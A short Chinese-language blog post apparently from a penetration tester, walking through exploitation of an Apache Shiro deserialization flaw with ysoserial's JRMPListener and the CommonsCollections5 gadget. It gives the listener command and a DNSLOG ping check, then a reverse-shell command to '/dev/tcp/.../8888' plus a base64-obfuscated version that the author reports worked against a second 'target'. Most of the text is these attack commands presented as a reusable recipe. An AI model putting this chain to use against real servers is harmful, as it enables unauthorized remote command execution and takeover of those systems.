shiro反序列漏洞中JRMPClient利用

shiro反序列漏洞中JRMPClient利用

LMTEAM 287 2022-12-31

前言

最近在测试中遇到一些shiro反序列化不能利用的情况 找到key 无法找到利用链,但是发现存在JRMPClient可用的情况

微信图片_20221231223619

换一种工具尝试

微信图片_20221231223643

发现 JRMPClient 可用, 尝试使用 JRMPClient 进行测试,最终这个目标也没有执行成功所以换了一个目标进行的尝试,仅记录JRMPClient 利用方式。

使用JRMPClient模块进行测试

找到一个同样存在shiro反序列的目标。

微信图片_20221231223743

同样find: JRMPClient can be use。

搭建JRMPClient 监听服务

首先需要搭建 JRMPClient 使用ysoserial.jar 工具搭建服务,
下载地址:https://github.com/frohoff/ysoserial

使用DNSLOG进行检测

在不确定目标是否通外网的情况下 先使用DNSLOG进行检测 获取一个新的域名 :w3dh1h.dnslog.cn

微信图片_20221231223943

VPS上开启JRMPListener

在VPS上搭建服务命令

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 “ping w3dh1h.dnslog.cn

微信图片_20221231224145

shiro反序列利用工具中选择JRMPClient,然后输入VPS上搭建服务的地址:

微信图片_20221231224220

JRMPListener 收到返回信息

微信图片_20221231224252

DNSLOG上收到目标的ping 命令信息 说明目标服务器通外网

微信图片_20221231224329

执行反弹命令

执行反弹命令 bash -i >& /dev/tcp/xxxxxx/8888 0>&1

微信图片_20221231224422

没有收到反弹链接

微信图片_20221231224532

将命令进行base64编码 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eC54eC54eC54eHgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}”

微信图片_20221231224702

成功收到反弹链接

微信图片_20221231224736